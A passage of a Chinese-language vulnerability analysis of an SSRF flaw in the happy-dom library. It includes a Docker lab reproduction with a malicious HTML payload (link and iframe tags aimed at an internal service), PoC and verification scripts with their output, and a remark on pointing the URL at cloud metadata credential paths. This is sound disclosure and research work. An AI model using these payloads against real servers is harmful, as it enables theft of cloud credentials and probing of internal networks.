写在前面

happy-dom 是一个用 JavaScript 实现的 DOM 运行时。它被大量前端项目放进 Vitest / Jest 的测试环境,也被用在 SSR 预渲染、HTML 转换和爬虫里。这些场景有一个共同点:HTML 往往来自不可信的一方——用户评论、富文本、抓回来的第三方页面、上传的模板。

在浏览器里,页面里写了 <iframe src="...">,浏览器就会去加载它,这是规范行为,没有人觉得奇怪。问题在于,当同一段 HTML 被交给服务端的 happy-dom 时,去加载它的是服务器进程,而服务器进程通常站在内网里、握着云凭证、能访问只监听 localhost 的管理接口。同一个行为,换一个执行者,性质就从"渲染页面"变成了"服务端请求伪造"。

CVE-2026-118660 说的就是这件事。它的成因短得可以用两行配置描述,但从一段字符串到一次出网请求,中间要经过解析、连接、分派、安检、出口五道关;而修复版本选择在"连接"这一步设闸门,这个选择也决定了它后来为什么能被绕过。

版本约定

  • 漏洞原理与函数走读基于 happy-dom 20.14.6 源码,路径相对 packages/happy-dom/src/;

  • 修复首发版本为 21.0.0,第三章的对照实验用的就是它;

  • 第六章的绕过实验使用 21.0.4。21.0.0 到 21.0.4 之间 Fetch.js 有过改动(重定向时补上了跨源删除 Authorization 的处理),但本文涉及的三处修复点与加载路径行为一致,行号以 21.0.4 的编译产物为准。


一、项目简介:一个"没有界面的浏览器"

1.1 它是什么

Happy DOM 的官方定义是 A JavaScript implementation of a web browser without its graphical user interface——用 JavaScript 实现一个没有图形界面的 Web 浏览器。

它把浏览器内核里最核心的那部分——DOM、HTML 解析、CSS 选择器、事件、网络请求——用纯 JavaScript 在 Node.js / Bun 等运行时里重新实现了一遍,覆盖了大量 WHATWG 规范:HTML、DOM、CSS Object Model、Fetch、XMLHttpRequest、WebSocket 等等。结果是:在没有真实浏览器的情况下,你也能拿到一个完整、可编程的"虚拟浏览器"环境。

它的定位与 JSDOM 类似,但主打更轻量、更快。

核心特性包括:

  • 自定义元素 / Web Components

  • 声明式 Shadow DOM

  • Mutation Observer、Tree Walker

  • Fetch API、XMLHttpRequest、WebSocket

  • CSS 选择器查询、事件系统、表单等大量 Web API

  • 同时支持 ESM 和 CommonJS

仓库:https://github.com/capricorn86/happy-dom | NPM 包名:happy-dom

1.2 谁在用,用在哪

场景

典型用法

谁在发请求

前端单元测试(最主要)

Vitest 的 environment: 'happy-dom'、Jest 的 @happy-dom/jest-environment、Testing Library 组件测试、React / Vue / Svelte / Angular / Lit 组件测试、Bun 运行时

跑测试的 Node 进程(开发者本机或 CI runner)

服务端渲染(SSR)

在服务器上解析、渲染组件与页面,官方提供 @happy-dom/server-renderer

应用服务进程

Web 爬虫 / 数据抓取

不启动 headless Chrome,直接请求页面、解析 HTML、用 querySelector 提取数据

抓取服务进程

通用 DOM 工具

HTML 文档处理与转换、静态分析、批量修改、为无头环境补 window / document

取决于宿主的输入

前两类是这个漏洞真正的落点:它们让 happy-dom 跑在有内网身份的进程里,而喂给它的 HTML 又常常来自外部。测试环境尤其容易被忽略——CI runner 往往就在内网,出网限制比生产环境宽松,日志里的外部请求也很少被当成安全事件。

1.3 为什么"能加载资源"会成为问题

happy-dom 的目标是"像一个浏览器那样工作"。浏览器加载 <link>、<iframe>、<script>,是因为页面作者希望页面这样呈现;目标 URL 由页面作者选择,风险由访问者承担。

服务端解析的模型完全不同:

  • 页面作者不再是可信的站点所有者,而可能是提交评论的任意用户;

  • "访问者"变成了服务器进程,它的网络位置就是内网的网络位置;

  • 加载行为没有任何可见的界面提示,只留下一条出网请求。

库沿用了浏览器的语义,却没有对应的威胁模型。这个错配不是某一行的笔误,而是 CVE-2026-118660 的根:默认值就是策略,而默认值假设自己身处浏览器。


二、漏洞基本信息

2.1 概要

项目

内容

CVE 编号

CVE-2026-118660

公告编号

GHSA-c8p4-j97h-3vg8

影响组件

Happy DOM(无 GUI 的 JavaScript 浏览器实现)

漏洞类型

CWE-918 服务端请求伪造(SSRF)

严重程度

高危 — CVSS 8.6

受影响版本

< 21.0.0(实测覆盖 17.6.3、20.14.6)

修复版本

21.0.0

2.2 根因:两个"默认关闭的开关",其实是默认开启

BrowserSettings 里有两个与外部资源加载相关的选项,在 21.0.0 之前长这样:

// happy-dom < 21.0.0 的 DefaultBrowserSettings(节选)
{
  disableIframePageLoading: false,  // iframe 页面加载默认开启
  disableCSSFileLoading: false      // CSS 文件加载默认开启
}

注意命名:它们是 disable*,语义是"禁止某行为",默认 false 意味着不禁止,也就是加载默认开启。这是一个 opt-out 模型——想安全必须主动关,不关就是开。

于是当应用在服务端解析不可信 HTML 时,HTML 里嵌入的这两类元素会被 happy-dom 自动发起真实 HTTP 请求:

  • <iframe src="..."> —— iframe 的 src URL;

  • <link rel="stylesheet" href="..."> —— 样式表的 href URL。

整个过程不需要任何特殊配置或额外开启(无需 opt-in)。攻击者只要控制被解析的 HTML,就能让服务器向任意目标发起请求。

修复版本做的事很直接:把默认值的方向翻过来,新增 enableCSSFileLoading / enableIframePageLoading,默认 false。第六章会看到,这个"翻转默认值"的修复模型,正是后续绕过的起点。

2.3 触发条件

漏洞成立需要两个条件同时满足:

  1. 不可信 HTML 进入 happy-dom 的解析器。常见入口不止 page.content,还包括已连接元素的 innerHTML、insertAdjacentHTML、shadowRoot.innerHTML,以及 DOMParser 解析后挂载、<template> 内容克隆后挂载等等(第四章按"元素何时被连接"把入口分成三类)。

  2. 解析出的 <link rel="stylesheet"> 或 <iframe> 被连接进文档。决定请求的是连接,不是"用了哪个写 HTML 的 API"。

两条同时满足,请求就会在解析的同一次调用链里发出。反过来,<template> 里的内容不触发,也不是因为被拦截,而只是因为它"还没连上"。

2.4 危害

  • 云凭证窃取:访问云厂商元数据端点,获取临时访问凭证(AWS / GCP / Azure 等);

  • 内网探测:对内部网络做端口与服务扫描;

  • 敏感数据泄露:请求内部接口,并通过应用回显把响应内容带出来;

  • 数据外带:把 SSRF 当作数据外泄通道。

两条向量在危害上并不对等,这一点在第四章会展开:<link> 路径的响应只进 CSS 解析器,属于盲 SSRF;<iframe> 路径的响应体会被写回子 frame 的文档,应用只要读一下 childFrames[0].window.document.body.innerHTML,内网数据就进了进程——对应 CVSS 里的机密性高影响(C:H)。

2.5 为什么在浏览器里"正常",在服务端就是漏洞

三个变化叠在一起:

  • 发起方变了。浏览器里 iframe 请求由访问者的浏览器发出;服务端解析时由应用进程发出。后者通常就在内网,能访问云元数据端点、内部管理面和只监听 localhost 的服务。

  • 目标的选择权变了。浏览器里目标由页面作者决定,服务端场景里由提交 HTML 的攻击者决定。

  • 信任假设变了。happy-dom 假设自己身处浏览器,没有"服务端代理"这个威胁模型。第四章会看到,Fetch.send() 把 referrer、CORS、缓存、Mixed Content 都实现了一遍,唯独没有一条检查在问"这个 host 是不是内网"。

这三点也是后面两章判断"是不是真风险"的标尺:只要 HTML 来自外部、解析发生在服务端,行为正确与否就不该由"浏览器也会这么做"来辩护。


三、Docker 复现:把 SSRF 关进一个盒子

复现的目标不是"看到一条请求",而是拿到一条无法用别的解释搪塞的证据链:内网服务根本不向宿主机发布端口,攻击者也没有任何直接访问它的通道;只要它的日志里出现 [SSRF-HIT],这行日志就只能来自受害应用被诱导后"代为发起"的请求。这正是 SSRF 的定义性证据。

3.1 复现环境

复现在远程 Ubuntu 服务器上通过 SSH 执行。

项目

值

系统

Ubuntu 26.04.1 LTS(aarch64,内核 7.0.0-42-generic)

Docker

29.9.3(build 5457199)

Docker Compose

v5.7.0

复现目录

~/CVE-2026-118660-repro

端口检查

宿主机 8080 端口空闲(ss -ltn 确认)

3.2 靶场拓扑

图 3-1 靶场拓扑:受害应用代替攻击者访问仅内网可达的靶标(图片:00-diagram-repro-topology.jpg)

两个服务同处一个 demo 网络,但 intranet 不向宿主机发布任何端口。这个设计有两个作用:

  • 排除"攻击者自己 curl 了内网"的可能——他没有路由;

  • 让内网服务的日志成为唯一权威证据,命中即代表来自 web 容器的真实流量。

3.3 目录结构

CVE-2026-118660-repro/
├── docker-compose.yml   # 两个服务:web(受害应用,发布 8080)+ intranet(内网专用,不发布端口)
├── web/
│   ├── Dockerfile       # 基于官方 node:22-alpine,npm 安装指定版本 happy-dom(build arg 控制)
│   └── server.js        # 受害应用:POST /render 用默认配置解析不可信 HTML 并回显 iframe 内容
├── intranet/
│   └── server.js        # 模拟仅内网可达的敏感服务(云元数据替身),每次请求记录 [SSRF-HIT]
├── poc.html             # 恶意 HTML:<link rel=stylesheet> + <iframe src> 指向内网服务
├── poc.sh               # 单次 PoC:提交 poc.html 并展示响应与内网服务日志
├── verify.sh            # 一键端到端验证:漏洞版(20.14.6)触发断言 / 修复版(21.0.0)不触发
└── README.md

3.4 复现环境的五处关键代码

下面把这份靶场拆成五块看:拓扑与版本控制、受害应用镜像、触发点所在的 server.js、内网靶标,以及最后那份恶意载荷。

3.4.1 docker-compose.yml:拓扑与版本控制

services:
  web:
    build:
      context: ./web
      args:
        HAPPY_DOM_VERSION: ${HAPPY_DOM_VERSION:-20.14.6}   # 默认漏洞版,可用环境变量切换
    image: cve-2026-118660/web:${HAPPY_DOM_VERSION:-20.14.6}
    ports:
      - "${WEB_PORT:-8080}:3000"      # 唯一对外入口
    depends_on:
      - intranet
    networks:
      - demo

  intranet:
    image: node:22-alpine
    command: node /app/server.js
    volumes:
      - ./intranet/server.js:/app/server.js:ro
    networks:
      - demo
      # 注意:没有任何 ports: —— 不向宿主机发布
networks:
  demo: {}

有两个要点:

  • HAPPY_DOM_VERSION 这个 build arg 同时控制安装版本与镜像 tag,漏洞版 / 修复版对照只需要换一个环境变量;

  • intranet 服务没有 ports: 映射,宿主机与外部均不可达,只有同一 demo 网络内的 web 能访问。

3.4.2 web/Dockerfile:受害应用镜像

FROM node:22-alpine

ARG HAPPY_DOM_VERSION=20.14.6
ENV HAPPY_DOM_VERSION=${HAPPY_DOM_VERSION}
ENV NODE_ENV=production

WORKDIR /app
# 受影响版本 <= 20.14.6(漏洞);>= 21.0.0(修复,默认禁用外部资源加载)
RUN npm install --no-audit --no-fund "happy-dom@${HAPPY_DOM_VERSION}"

COPY server.js server.js

EXPOSE 3000
CMD ["node", "server.js"]

happy-dom 没有官方镜像,直接基于官方 node:22-alpine 安装目标版本的 npm 包,干净且可复现。

3.4.3 web/server.js:受害应用(CVE 触发点)

核心逻辑在 POST /render:

// 关键:new Browser() 未传任何 settings —— 即 CVE 所述"默认开启外部资源加载"的姿态
browser = new Browser();
const page = browser.newPage();
page.url = 'http://web-app.internal/';
page.content = body;                    // 用户提交的不可信 HTML
await Promise.race([
  page.waitUntilComplete(),             // 等待外部资源(CSS / iframe)加载完成
  new Promise((resolve) => setTimeout(resolve, 15000)),
]);
// 读取 iframe 加载的页面内容 —— "回显给攻击者"的数据外泄路径
const frames = page.mainFrame.childFrames;
if (frames.length > 0 && frames[0].window && frames[0].window.document) {
  result.iframeUrl = frames[0].url;
  result.iframeContent = frames[0].window.document.body
    ? frames[0].window.document.body.innerHTML : null;
}
// ...最终 res.end(JSON.stringify(result, null, 2))

这段代码模拟的是一类真实业务:服务端 HTML 转 PDF、富文本过滤、SSR 预渲染、爬虫正文提取。它们的共同点是把不可信 HTML 交给 DOM 实现,并把处理结果返回给提交者。

值得注意两点:

  • page.content 赋值这一步就足以触发漏洞,后面的回显只是把危害从"盲 SSRF"升级为"机密数据泄露";

  • Promise.race 里那个 15 秒兜底不是随手写的——第四章会说明,样式表路径根本没有超时机制,不加兜底,一个不响应的目标就能把 waitUntilComplete() 拖到天荒地老。

另外,这里读的是 page.mainFrame.childFrames[0].window.document,而不是 iframe.contentDocument。这个细节是第四章"frame 树绕开跨源代理"那一段的实证。

3.4.4 intranet/server.js:内网敏感服务(云元数据替身)

const SECRET_TOKEN = 'INTERNAL-ONLY-TOKEN-' + crypto.randomBytes(8).toString('hex');

const server = http.createServer((req, res) => {
  console.log(`[SSRF-HIT] ${new Date().toISOString()} ${req.method} ${req.url} | internal-only service reached!`);
  const isCss = req.url.endsWith('.css');
  res.writeHead(200, { 'Content-Type': isCss ? 'text/css' : 'text/html' });
  if (isCss) {
    res.end('body { color: red; }');
  } else {
    res.end(`<html><body>SECRET: ${SECRET_TOKEN} (cloud-metadata-like internal data)</body></html>`);
  }
});

三个设计意图:

  • 每次请求记录一行 [SSRF-HIT](请求方法 + URL + 时间戳),这是 SSRF 是否发生的唯一权威证据;

  • 非 .css 请求返回含随机 token 的"机密"响应体,模拟 http://xx.xx.xx.xx/latest/meta-data/... 这类元数据端点;

  • token 每次容器启动随机生成。verify.sh 借此做严格关联断言:只有"当次运行日志里的 token"出现在"攻击者收到的响应里"才算泄露,排除拼凑旧输出的误判。

3.4.5 poc.html:恶意载荷

<!DOCTYPE html>
<html>
<head>
  <!-- 攻击向量 1:<link rel=stylesheet> 默认触发真实 HTTP 请求(CSS file loading) -->
  <link rel="stylesheet" href="http://intranet:3000/attacker-probe.css">
</head>

<body>
  <!-- 攻击向量 2:<iframe src> 默认加载目标页面(iframe page loading) -->
  <iframe src="http://intranet:3000/secret/metadata"></iframe>

</body>

</html>

实战中把 URL 换成 http://xx.xx.xx.xx/latest/meta-data/iam/security-credentials/ 等即可窃取云临时凭证;把 URL 指向内网各地址、观察请求是否成功或超时,即可做内网端口扫描。

3.5 漏洞版复现:happy-dom 20.14.6

下面五步按实际执行顺序记录。每步同时给出可直接复制的命令、实测输出,以及同一次运行的终端整窗截图(图 3-2 ~ 图 3-6)——文字便于复制与检索,截图用于证明这段输出确实出自那次运行。

① 构建并启动

cd ~/CVE-2026-118660-repro && docker compose up -d --build

HAPPY_DOM_VERSION 未设置,取默认值 20.14.6。构建过程安装的正是漏洞版:

[+] Building 6.8s (11/11) FINISHED
 => [1/4] FROM docker.io/library/node:22-alpine@sha256:fe4f6d74e203…
 => [2/4] WORKDIR /app
 => [3/4] RUN npm install --no-audit --no-fund "happy-dom@20.14.6"     4.5s
 => [4/4] COPY server.js server.js
 => naming to docker.io/cve-2026-118660/web:20.14.6

[+] up 11/11
 ✔ Network cve-2026-118660_demo Created
 ✔ Container cve-2026-118660-intranet-1 Started
 ✔ Container cve-2026-118660-web-1 Started

图 3-2 3.5① 构建并启动:docker compose up -d --build_ 未设 HAPPY_DOM_VERSION,装的是默认版本 20.14.6(图片:03-repro-05-build-vuln-01.png)_

② 确认服务状态与版本

docker compose ps && curl -s http://localhost:8080/healthz
NAME                        IMAGE                         STATUS          PORTS
cve-2026-118660-intranet-1  node:22-alpine                Up 23 seconds
cve-2026-118660-web-1       cve-2026-118660/web:20.14.6   Up 23 seconds   0.0.0.0:8080->3000/tcp, [::]:8080->3000/tcp

ok happy-dom@20.14.6

注意 intranet 一行 PORTS 为空——"不发布端口"这一前提成立;healthz 确认当前跑的是 20.14.6。

图 3-3 3.5② docker compose ps 与 /healthz:只有 web 发布 8080,健康检查回 ok happy-dom@20.14.6(图片:03-repro-06-ps-01.png)

③ 执行 PoC

./poc.sh

poc.sh 做三件事:打印提交的 PoC HTML → curl -X POST 把 poc.html 提交到 /render → 打印内网服务的 [SSRF-HIT] 日志。实测输出:

[*] POST http://localhost:8080/render  (simulates server-side parsing of user-submitted HTML)
[*] App response (iframe content is reflected back to the attacker):
{
  "happyDomVersion": "20.14.6",
  "iframeUrl": "http://intranet:3000/secret/metadata",
  "iframeContent": "SECRET: INTERNAL-ONLY-TOKEN-ae603ffa1440d654 (cloud-metadata-like internal data)",
  "error": null
}

[*] Requests seen by the internal-only service:
intranet-1  | [SSRF-HIT] 2026-11-05T08:18:17.050Z GET /attacker-probe.css | internal-only service reached!
intranet-1  | [SSRF-HIT] 2026-11-05T08:18:17.053Z GET /secret/metadata    | internal-only service reached!

证据解读:

证据

说明

[SSRF-HIT] … GET /attacker-probe.css

攻击向量 1 命中:<link rel="stylesheet"> 触发 happy-dom 发起真实 CSS 请求

[SSRF-HIT] … GET /secret/metadata

攻击向量 2 命中:<iframe src> 触发 happy-dom 加载内网页面

iframeContent 含 SECRET: INTERNAL-ONLY-TOKEN-ae603ffa1440d654

内网响应体(机密 token)经受害应用回显,泄露给攻击者 —— 对应 CVSS C:H

两次命中时间仅相差 3ms

两个向量在同一次 HTML 解析中并发触发,无需任何额外配置

攻击者自始至终只访问了 localhost:8080(唯一可达入口),却拿到了从未直接连接过的内网服务里的机密数据。

图 3-4 3.5③ ./poc.sh:一次提交同时打出两条 [SSRF-HIT],iframeContent_ 回显内网 token(图片:03-repro-07-poc-vuln-01.png)_

④ 核对内网服务完整日志

docker compose logs intranet
intranet-1  | [intranet] internal-only service on :3000; NOT published to host; secret token: INTERNAL-ONLY-TOKEN-ae603ffa1440d654
intranet-1  | [SSRF-HIT] 2026-11-05T08:18:17.050Z GET /attacker-probe.css | internal-only service reached!
intranet-1  | [SSRF-HIT] 2026-11-05T08:18:17.053Z GET /secret/metadata    | internal-only service reached!

服务启动时打印的 secret token 为 INTERNAL-ONLY-TOKEN-ae603ffa1440d654,与攻击者响应中 iframeContent 里的 token 完全一致——"内网机密 → 攻击者"的完整证据闭环由此成立。

至此,漏洞版复现成功:内网服务收到 2 次请求(stylesheet + iframe),机密数据回显攻击者。

图 3-5 3.5④ docker compose logs intranet:启动行 token 与两条命中来自同一次运行(图片:03-repro-08-logs-vuln-01.png)

⑤ 清理环境

docker compose down

图 3-6 3.5⑤ docker compose down:漏洞版容器与网络被移除(图片:03-repro-09-down-vuln-01.png)

3.6 修复版对照:happy-dom 21.0.0

同一份 poc.html、同一套命令,只换一个环境变量:

HAPPY_DOM_VERSION=21.0.0 docker compose up -d --build
 => [3/4] RUN npm install --no-audit --no-fund "happy-dom@21.0.0"     4.7s
 => naming to docker.io/cve-2026-118660/web:21.0.0

[+] up 4/4
 ✔ Image cve-2026-118660/web:21.0.0      Built
 ✔ Container cve-2026-118660-intranet-1  Started
 ✔ Container cve-2026-118660-web-1       Started

图 3-7 3.6 只换 HAPPY_DOM_VERSION=21.0.0:构建出 cve-2026-118660/web:21.0.0(图片:03-repro-10-build-fixed-01.png)

再跑一次 PoC:

[*] App response (iframe content is reflected back to the attacker):
{
  "happyDomVersion": "21.0.0",
  "iframeUrl": null,
  "iframeContent": null,
  "error": null
}

[*] Requests seen by the internal-only service:
(none)

图 3-8 3.6 同一份 poc.sh 在 21.0.0 下:iframeUrl_ / iframeContent 均为 null,命中 (none)(图片:03-repro-11-poc-fixed-01.png)_

与漏洞版逐项对比:

观测点

20.14.6(漏洞版)

21.0.0(修复版)

内网服务收到请求

2 次(css + iframe)

0 次((none))

iframeUrl

http://intranet:3000/secret/metadata

null

iframeContent

含内网机密 token

null

再看两边的日志:

intranet-1  | [intranet] internal-only service on :3000; NOT published to host; secret token: INTERNAL-ONLY-TOKEN-a2b060836c39c313
web-1  | [web] listening on :3000 | happy-dom@21.0.0 | DEFAULT browser settings (no opt-out flags)
web-1  | [web] received untrusted HTML (363 bytes) -> parsing with happy-dom@21.0.0 DEFAULT settings (no opt-out flags)
web-1  | [web] iframe content reflected to caller: null

图 3-9 3.6 修复版两侧日志:web 仍是 DEFAULT settings,intranet 无 [SSRF-HIT](图片:03-repro-12-logs-fixed-01.png)

两个细节值得注意:

  • web 应用日志明确显示解析时仍是 DEFAULT settings——受害应用代码一行未改,仅升级 happy-dom,行为就从"代发内网请求"变成"静默不加载"。这说明变化发生在库的默认值层面,而不是应用侧的配置;

  • 本次 intranet 启动生成的 token 是新的(a2b060836c39c313),与上一轮不同,排除了"旧日志 / 旧响应拼凑"的可能。

3.7 一键端到端验证

手动对照之外,verify.sh 把整个流程自动化并做严格断言:

./verify.sh

脚本用 run_phase 跑两个阶段,共 4 项断言:

阶段

版本

断言 1

断言 2

Phase 1

20.14.6

内网服务 [SSRF-HIT] 次数 >= 2(iframe + stylesheet 均抵达)

当次启动的 secret token 出现在攻击者响应中(token 关联断言)

Phase 2

21.0.0

内网服务收到 0 次请求

响应中不含 INTERNAL-ONLY-TOKEN 字样

实测输出(节选):

==================================================================
 Phase: happy-dom@20.14.6
==================================================================
[+] stack up: ok happy-dom@20.14.6
[*] app response:
{
  "happyDomVersion": "20.14.6",
  "iframeUrl": "http://intranet:3000/secret/metadata",
  "iframeContent": "SECRET: INTERNAL-ONLY-TOKEN-d89e89828f8933ab (cloud-metadata-like internal data)",
  "error": null
}
[*] internal-only service received 2 request(s)
[PASS] SSRF triggered: iframe + stylesheet 均抵达内网专用服务
[PASS] 内网机密 token 经 iframe 回显给攻击者(对应 CVSS C:H 危害)

==================================================================
 Phase: happy-dom@21.0.0
==================================================================
[+] stack up: ok happy-dom@21.0.0
[*] app response:
{
  "happyDomVersion": "21.0.0",
  "iframeUrl": null,
  "iframeContent": null,
  "error": null
}
[*] internal-only service received 0 request(s)
[PASS] 修复版无 SSRF:内网专用服务收到 0 次请求
[PASS] 修复版响应中无内网数据

==================================================================
 RESULT: 4 passed, 0 failed
 VERDICT: CVE-2026-118660 复现成功(漏洞版触发 SSRF,修复版不触发)

图 3-10 3.7 ./verify.sh 第 1 页:Phase 20.14.6 的构建与启动(图片:03-repro-13-verify-01.png)

图 3-11 3.7 第 2 页:漏洞版两项断言通过,进入 Phase 21.0.0(图片:03-repro-13-verify-02.png)

图 3-12 3.7 第 3 页:修复版 0 次请求,RESULT: 4 passed, 0 failed(图片:03-repro-13-verify-03.png)

token 关联断言的实现方式:从当次 docker compose logs intranet 里提取启动行的 secret token: INTERNAL-ONLY-TOKEN-…,再检查这个值是否出现在攻击者响应中。本轮 token 为 d89e89828f8933ab,与前两轮手动实验的值都不同(每轮容器重建都会重新生成),证明断言针对的是当次真实流量,而不是缓存的旧输出。

3.8 这套复现方法的三个要点

复现本身不复杂,但要让结论站得住,有三件事不能省:

  • 靶标不可直达。内网服务不发布端口,是"请求由库发出"这个结论的前提。如果攻击者能自己访问靶标,日志就无法归因。

  • 证据分三层:对端日志(有没有出网)、应用响应(有没有数据泄露)、token 关联(是不是这一次)。只给其中一层,都留得下"巧合"的解释空间。

  • 对照必须同源。修复版只换了 HAPPY_DOM_VERSION,PoC、应用代码、网络拓扑全部不变。这样"2 次 → 0 次"才能归因到版本,而不是环境差异。

下一章回到代码,回答一个复现没有回答的问题:这段 HTML 到底是在哪一行、因为什么机制,变成了这次请求。


四、主要函数的作用与原理:从一段 HTML 到一次请求

在服务端把不可信 HTML 交给 happy-dom,page.content = html 这一行执行完,请求往往已经上路了。这条链很长,但真正决定"会不会出网、出到哪、响应去了哪"的只有十来个函数。

下面按调用顺序走一遍:先看两条路径共用的解析层(4.1–4.3)和网络层(4.4–4.5),再看 <link> 与 <iframe> 分别如何把"元素出现"翻译成"发起请求",以及响应最终落在哪里(4.6–4.7)。

行号均相对 packages/happy-dom/src/,版本为 20.14.6。

4.1 字符串变成文档:BrowserFrame.content setter

一切从一次赋值开始。这个 setter 只有几行,但它做的不是"替换一段 HTML",而是"重建一个文档":

public set content(content) {
    this.window.document[PropertySymbol.isFirstWrite] = true;
    this.window.document[PropertySymbol.isFirstWriteAfterOpen] = false;
    this.window.document.open();
    this.window.document.write(content);
}

它实际做了三件事:

  1. 置上"首次写入"标记,让随后的 write() 走"以 Document 为根"的分支,而不是以 body 为根;

  2. 调用 open():移除 document 上全部冒泡与捕获监听器,删掉所有子节点,重建 <!doctype html><html><head></head><body></body>。重建过程本身走 appendChild → connectedToNode,所以新的 html/head/body 一建出来就是已连接的;

  3. 调用 write(content):启动 HTMLParser。不可信字符串从这一刻起变成 DOM。

content 是纯字符串,没有类型约束、没有净化、也没有任何"可信 / 不可信"的标记。应用以为自己只是在"设置页面内容",库理解的却是"重建文档并解析"。两边对"这会触发外部资源加载"没有共同认知——这是语义上的错配,不是某一行写错了。

有三个容易踩的细节。

它同步,但副作用不同步。 解析在调用栈内完成,网络副作用发生在解析触发的连接回调里。setter 返回时请求尚未发出,实测同步耗时只有 0–2 ms,请求出现在之后几毫秒。所以"这一行很快就返回了"不能推出"没有发请求"。

它会清掉监听器,而且不可逆。 open() 移除 document 级监听器之后不会恢复。应用如果在赋值前挂了 document 级监听,写入后全部失效——这也是动态分析要改成元素级监听的原因。

它不是唯一的入口。 除了给整个文档赋值,不可信 HTML 还能从好几个地方进来。与其把 API 一个个列出来背,不如按"元素是在什么时候被连接的"分三类看:

第一类:写进已经连接的位置。 page.content、已连接元素的 innerHTML、insertAdjacentHTML、shadowRoot.innerHTML 都属于这一类。解析结果一插入就已经在文档里,元素当场连接,所以同一个调用里就会把请求发出去。这也是"赋值立刻出网"的那一类。

第二类:先解析,后挂载。 比如先给一个游离的 div 设 innerHTML,再把 div 挂到页面上;或者用 DOMParser 先解析出一份新文档,再把节点 importNode 进去。解析的时候元素没有父节点,什么都不会发生;挂载的那一刻才连接,请求也出现在那一刻。DOMParser 这条路要算两次:解析进新文档时一次,导入并挂载时再一次。

第三类:惰性内容,等它被"实体化"。 <template> 里的内容会被解析,但结果存在一份独立的文档片段里,里面的节点永远不连接,所以不会发请求;把 template.content 克隆出来挂进文档,它就变成了第一类,立刻触发。

三类看完,结论其实只有一句:决定请求的从来不是"用了哪个 API 写 HTML",而是"元素有没有连上"。所以真正需要记住的条件是——不可信 HTML 进入 HTMLParser,并且解析出的元素最终被连接。反过来,<template> 那种"不触发"也不能读成"安全",它只是"还没连上"。

顺带排除一个常见的误读。HTMLParser 里确实有一段"innerHTML 不执行脚本"的镜像逻辑,会给 <link> 设 disableEvaluation,但那段代码位于 rawText 元素的处理路径上,而 <link> 的内容模型是"不允许后代",常规命名空间下根本走不到。所以 innerHTML 注入的 <link> 照样出网,这个标志对 <link> 不构成任何闸门。

4.2 属性先写、元素后入树:HTMLParser.parseEndOfStartTag

解析器处理每个开始标签时,都会经过这个函数。它把工作分成两段:先处理属性,再把元素挂进树。

// 属性段
const value = rawValue ? XMLEncodeUtility.decodeHTMLAttributeValue(rawValue) : '';
const attributes = this.nextElement![PropertySymbol.attributes];
...
} else if (!attributes.getNamedItem(name)) {
    const attributeItem = this.rootDocument!.createAttribute(name);
    attributeItem[PropertySymbol.value] = value;
    attributes[PropertySymbol.setNamedItem](attributeItem);
}

// 入树段
body[PropertySymbol.appendChild](this.nextElement!, true);

这里最容易误读的一跳是:解析器没有调用 element.setAttribute,而是直接构造 Attr 塞进 NamedNodeMap。看上去"绕过 setter"就等于"绕过回调",但 setNamedItem 的第二个参数 ignoreListeners 默认是 false,它照样会调用 ownerElement 上的属性写入回调。

于是就出现了那个让人困惑的现象:

  • 属性阶段确实调用了加载函数——<link> 的样式表加载、<iframe> 的页面加载,都被调了一次;

  • 但此时元素还没入树,isConnected 是 false,加载函数在门口就静默返回了;

  • 真正让它生效的,是入树段的 appendChild(..., true)——元素连接,连接回调分派到子类,请求才发起。

这解释了一组看似矛盾的事实:"解析会触发请求"和"写属性不会触发请求"同时成立。前者说的是入树之后,后者说的是入树之前。

三个细节值得记住:

属性顺序无关。 先 rel 后 href,写 href 时检查一次;先 href 后 rel,写 rel 时再检查一次。两次都发生在未连接期,都早退,最终结果都是连接后发一次请求。

同名属性只取第一个。 !attributes.getNamedItem(name) 让重复属性天然 first-wins。这对解析器是规范行为,对"用正则取最后一个值"的朴素检查器就是解析差异:<link rel="stylesheet" rel="preload" href=...> 在 happy-dom 眼里是样式表,在检查器眼里可能被当成 preload。

属性值会做实体解码。 decodeHTMLAttributeValue 会把 &#x2e; 还原成 .。粗粒度的字符串黑名单因此在解码前就被绕过了。这不是 happy-dom 的缺陷,而是"检查发生在解码之前"的通用问题。

这个函数本身不是修复点,但它是一条分界线:在它之前,<link> 只是文本;在它之后,<link> 是一个有行为、会去取资源的元素。任何"解析期禁止加载"的方案,都必须在这里或下一节那个函数上生效。

4.3 连接即加载:Node.[connectedToNode]

解析器只负责把元素挂到树上,它从不直接说"去加载资源"。加载是由连接状态的变化触发的,这个判断集中在 Node 的 connectedToNode 方法里。

public [PropertySymbol.connectedToNode](): void {
    const parentNode = this[PropertySymbol.parentNode];
    const parent = parentNode || (<any>this)[PropertySymbol.host];
    let isConnected = false;
    let isDisconnected = false;

    if (!this[PropertySymbol.isConnected] && parent[PropertySymbol.isConnected]) {
        this[PropertySymbol.isConnected] = true;
        isConnected = true;
    } else if (this[PropertySymbol.isConnected] && !parent[PropertySymbol.isConnected]) {
        this[PropertySymbol.isConnected] = false;
        isDisconnected = true;
    }
    ...
    const childNodes = this[PropertySymbol.nodeArray].slice();
    for (let i = 0, max = childNodes.length; i < max; i++) {
        childNodes[i][PropertySymbol.parentNode] = self;
        childNodes[i][PropertySymbol.connectedToNode]();     // 先子后父
    }
    ...
    if (isConnected) {
        this[PropertySymbol.connectedToDocument]();
    } else if (isDisconnected) {
        this[PropertySymbol.disconnectedFromDocument]();
    }
}

按顺序看,它做了五件事:

  1. 取父节点(没有父节点就看 shadow host)——没有父节点就谈不上连接;

  2. 做边沿检测,只在 false → true 或 true → false 时置标志;

  3. 向下传播 ownerDocument、window、rootNode 等上下文,让子类钩子能拿到窗口去查配置;

  4. 递归处理整棵子树,而且是先子后父;

  5. 在边沿上分派 connectedToDocument() 或 disconnectedFromDocument(),多态落到具体的元素类。

它的关键性质是"策略无关":这个函数不知道子类是谁,也不知道连接回调会做什么,它只负责通知"状态变了"。对浏览器,这是正确的生命周期抽象;对服务端解析场景,它意味着任何元素只要覆写连接回调并决定发请求,解析就会产生 I/O。

由此可以直接推出三条结论:

  • 幂等。 对已连接的元素重复 appendChild 不会再次分派,所以同一个 <link> 不会因为重复挂载而重复请求。

  • 可重入。 先 remove() 再 append(),会经历一次断开和一次连接,于是会再加载一次。通过 removeAttribute('src') 再设回去,也能得到第二次请求。

  • 顺序只影响时机,不影响结果。 子树是递归处理的,所以"先建一整块游离 DOM、最后一次性挂载"同样会触发,请求就出现在挂载那一刻。

